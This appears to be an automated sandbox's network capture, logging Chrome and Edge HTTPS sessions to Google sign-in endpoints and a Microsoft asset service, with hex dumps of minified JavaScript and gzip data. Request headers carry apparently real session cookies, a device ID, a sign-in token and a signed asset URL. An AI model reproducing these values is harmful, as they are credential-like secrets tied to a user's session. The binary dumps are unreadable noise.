2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 3d 22 5b 65 72 72 6f 72 5d 20 22 2b 63 2e 6d 65 73 73 61 67 65 7d 72 65 74 75 72 6e 20 61 7d 2c 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7a 28 61 29 3b 31 21 3d 3d 28 62 26 31 29 26 26 28 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 28 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 29 2c 41 28 61 2c 62 7c 31 29 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 0a 5b 5d 3b 79 61 28 61 2c 31 29 3b 72 65 74 75 72 6e 20 61 7d 2c 41 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 3e 3e 31 34 26 31 30 32 33 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 3f 35 33 36 38 37 30 39 31 32 3a 61 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 21 Data Ascii: ="[error] "+c.message}return a},xa=function(a){var b=z(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),A(a,b\|1))},za=function(){var a=[];ya(a,1);return a},Aa=function(a){a=a>>14&1023;return 0===a?536870912:a},Ca=function(a){return!(!
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 78 79 7a 30 31 32 33 34 35 36 37 38 39 22 2e 73 70 6c 69 74 28 22 22 29 3b 0a 64 3d 5b 22 2b 2f 3d 22 2c 22 2b 2f 22 2c 22 2d 5f 3d 22 2c 22 2d 5f 2e 22 2c 22 2d 5f 22 5d 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 35 3e 65 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 63 2e 63 6f 6e 63 61 74 28 64 5b 65 5d 2e 73 70 6c 69 74 28 22 22 29 29 3b 4b 61 5b 65 5d 3d 66 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 67 3d 66 5b 68 5d 3b 76 6f 69 64 20 30 3d 3d 3d 43 5b 67 5d 26 26 28 43 5b 67 5d 3d 68 29 7d 7d 7d 62 3d 4b 61 5b 62 5d 3b 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 3b 64 3d 62 5b 36 34 5d 7c 7c 22 22 3b 66 6f 72 28 65 3d 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 Data Ascii: xyz0123456789".split("");d=["+/=","+/","-_=","-_.","-_"];for(var e=0;5>e;e++){var f=c.concat(d[e].split(""));Ka[e]=f;for(var h=0;h<f.length;h++){var g=f[h];void 0===C[g]&&(C[g]=h)}}}b=Ka[b];c=Array(Math.floor(a.length/3));d=b[64]\|\|"";for(e=f=0;f<a.length
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 26 28 72 3d 21 30 29 3b 6b 2d 2d 7d 66 6f 72 28 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 30 3c 6b 3b 6b 2d 2d 29 7b 49 3d 6b 2d 31 3b 66 3d 62 5b 49 5d 3b 69 66 28 21 28 6e 75 6c 6c 3d 3d 66 7c 7c 21 52 61 26 26 44 61 28 66 2c 64 2c 49 2d 65 29 7c 7c 21 53 61 26 26 43 61 28 66 29 26 26 30 3d 3d 3d 66 2e 73 69 7a 65 29 29 62 72 65 61 6b 3b 76 61 72 20 70 63 3d 21 30 7d 69 66 28 21 72 26 26 21 70 63 29 72 65 74 75 72 6e 20 62 3b 76 61 72 20 70 61 3b 68 3f 70 61 3d 62 3a 70 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 62 2c 30 2c 6b 29 3b 62 3d 70 61 3b 68 26 26 28 62 2e 6c 65 6e 67 74 68 3d 6b 29 3b 46 26 26 62 2e 70 75 73 68 28 46 29 3b 72 65 74 75 72 6e 20 62 7d 2c 55 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: &(r=!0);k--}for(e=+!!(e&512)-1;0<k;k--){I=k-1;f=b[I];if(!(null==f\|\|!Ra&&Da(f,d,I-e)\|\|!Sa&&Ca(f)&&0===f.size))break;var pc=!0}if(!r&&!pc)return b;var pa;h?pa=b:pa=Array.prototype.slice.call(b,0,k);b=pa;h&&(b.length=k);F&&b.push(F);return b},Ua=function(a,b
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 61 28 56 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 59 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f Data Ascii: ypeof d.prototype[a]&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Ya(Va(this))}})}return a});var Ya=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},H=function(a){var b="undefined"!=typeof Symbol&&Symbo
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 71 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e Data Ascii: ,m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(q){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,g=function(k){this.
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 2c 67 2e 6c 2e 73 2e 6e 65 78 74 3d 67 2e 6c 2e 6e 65 78 74 2c 67 2e 6c 2e 6e 65 78 74 2e 73 3d 67 2e 6c 2e 73 2c 67 2e 6c 2e 68 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 73 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 Data Ascii: ,g.l.s.next=g.l.next,g.l.next.s=g.l.s,g.l.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].s=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 6e 20 67 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 47 28 22 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 21 3d 3d 74 79 70 65 6f 66 20 62 3f 21 31 3a 21 69 73 4e 61 4e 28 62 29 26 26 49 6e 66 69 6e 69 74 79 21 3d 3d 62 26 26 2d 49 6e 66 69 6e 69 74 79 21 3d 3d 62 7d 7d 29 3b 0a 47 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d Data Ascii: n gb(this,function(b){return b})}});G("Number.isFinite",function(a){return a?a:function(b){return"number"!==typeof b?!1:!isNaN(b)&&Infinity!==b&&-Infinity!==b}});G("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 6e 64 26 26 2d 31 21 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 6e 61 74 69 76 65 20 63 6f 64 65 22 29 3f 6d 62 3a 6e 62 3b 72 65 74 75 72 6e 20 4c 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 6f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 63 2e 73 6c 69 63 65 28 29 3b 64 2e 70 75 73 68 2e 61 70 70 6c 79 28 64 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 7d 2c 70 62 3d Data Ascii: nd&&-1!=Function.prototype.bind.toString().indexOf("native code")?mb:nb;return L.apply(null,arguments)},ob=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}},pb=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49886	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1931	OUT	POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=4538019922180486607&bl=boq_identityfrontendauthuiserver_20240107.08_p0&hl=en-US&_reqid=2101&rt=c HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 164 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-goog-ext-278367001-jspb: ["GlifWebSignIn"] X-Same-Domain: 1 x-goog-ext-391502476-jspb: ["S922877882:1705534476005670",null,null,"ASKXGp2Fh1LVullqknwvfi41Bgz_cGuworpX9-qvX0psxzTFaAjKxJSIbTCzEnPsYVkspxjdHHyF"] sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:5-VqxJMLVh1Z_yvAADCgON_4YNkrEw:2Sz4ABSfAkPCYE7F
2024-01-17 23:35:01 UTC	164	OUT	Data Raw: 66 2e 72 65 71 3d 25 35 42 25 35 42 25 35 42 25 32 32 55 45 6b 4b 77 62 25 32 32 25 32 43 25 32 32 25 35 42 25 35 43 25 32 32 53 39 32 32 38 37 37 38 38 32 25 33 41 31 37 30 35 35 33 34 34 37 36 30 30 35 36 37 30 25 35 43 25 32 32 25 35 44 25 32 32 25 32 43 6e 75 6c 6c 25 32 43 25 32 32 67 65 6e 65 72 69 63 25 32 32 25 35 44 25 35 44 25 35 44 26 61 74 3d 41 4c 74 34 56 65 33 48 33 34 6d 7a 39 41 72 61 71 6d 71 54 34 65 63 68 4b 57 75 39 25 33 41 31 37 30 35 35 33 34 34 37 36 38 31 35 26 Data Ascii: f.req=%5B%5B%5B%22UEkKwb%22%2C%22%5B%5C%22S922877882%3A1705534476005670%5C%22%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at=ALt4Ve3H34mz9AraqmqT4echKWu9%3A1705534476815&
2024-01-17 23:35:01 UTC	1599	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Set-Cookie: __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; Expires=Fri, 16-Jan-2026 23:35:01 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:01 GMT Content-Disposition: attachment; filename="response.bin"; filename=UTF-8''response.bin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: same-site Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version= Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:01 UTC	122	IN	Data Raw: 37 34 0d 0a 29 5d 7d 27 0a 0a 31 30 37 0a 5b 5b 22 77 72 62 2e 66 72 22 2c 22 55 45 6b 4b 77 62 22 2c 22 5b 32 5d 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 67 65 6e 65 72 69 63 22 5d 2c 5b 22 64 69 22 2c 33 30 5d 2c 5b 22 61 66 2e 68 74 74 70 72 6d 22 2c 33 30 2c 22 2d 36 30 31 33 33 37 38 35 31 38 35 39 30 34 35 37 30 38 32 22 2c 39 34 5d 5d 0a 0d 0a Data Ascii: 74)]}'107[["wrb.fr","UEkKwb","[2]",null,null,null,"generic"],["di",30],["af.httprm",30,"-6013378518590457082",94]]
2024-01-17 23:35:01 UTC	33	IN	Data Raw: 31 62 0d 0a 32 35 0a 5b 5b 22 65 22 2c 34 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 34 33 5d 5d 0a 0d 0a Data Ascii: 1b25[["e",4,null,null,143]]
2024-01-17 23:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49892	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1570	OUT	GET /_/bscframe HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:5-VqxJMLVh1Z_yvAADCgON_4YNkrEw:2Sz4ABSfAkPCYE7F
2024-01-17 23:35:02 UTC	1358	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:02 GMT Content-Security-Policy: script-src 'unsafe-eval';require-trusted-types-for 'script';object-src 'none' Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInSignUpUi" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Resource-Policy: same-site Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"AccountsSignInSignUpUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi"}]} Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:02 UTC	20	IN	Data Raw: 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a Data Ascii: f<!DOCTYPE html>
2024-01-17 23:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49890	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	846	OUT	GET /assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=ODCnll3A%2Fpr7IBDaNsDR2zA%2FOssZl6xdmLkM6vzzbZ0%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-03-31T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:02 UTC	661	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:02 GMT Content-Type: application/octet-stream Content-Length: 79192 Connection: close Content-Encoding: gzip Content-MD5: HTd0YQAlXfzcbv+gIkcx8g== Last-Modified: Thu, 02 Nov 2023 21:25:56 GMT ETag: "0x8DBDBEA4D0A3592" x-ms-request-id: e0a282bb-201e-0070-5c3e-491bc3000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233502Z-5g2pdqdy5d455e9xwqqwpw2gnw000000018g000000003gb6 X-Cache: TCP_HIT x-fd-int-roxy-purgeid: 59346683 Accept-Ranges: bytes
2024-01-17 23:35:02 UTC	15723	IN	Data Raw: 1f 8b 08 08 e4 13 44 65 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: Deasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: ee 08 e2 08 f6 fd b1 c3 7f 0e 79 45 7c d1 fa 90 56 fe 47 00 48 7d 9e d7 e1 d8 6e c2 7c 41 77 0d f8 d0 27 ab 14 e7 97 73 51 99 ea a0 33 60 24 10 5b 4a 78 b6 b3 c4 10 c7 a8 5d 04 fd 27 fc 7d 54 23 be 09 ac 25 f0 d1 4f 12 06 fe 1e 3e b2 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 Data Ascii: yE\|VGH}n\|Aw'sQ3`$[Jx]'}T#%O>JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3Q
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: f6 29 fa 0c a4 c7 27 bd d1 ad a9 2c c9 9e f4 28 01 b9 b6 4f 7c 1e aa d9 ed 57 48 2a 24 71 28 dd 39 95 e2 f4 37 11 d2 bf b5 25 ed 62 af a4 32 31 b3 61 32 91 b6 52 dc e0 3a e3 3b 90 da 8d 6d e5 c2 99 3e 5c 28 d4 7d b4 bc 99 59 92 1d 1e 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f Data Ascii: )',(O\|WH$q(97%b21a2R:;m>\(}Y/M5?Rg\|M 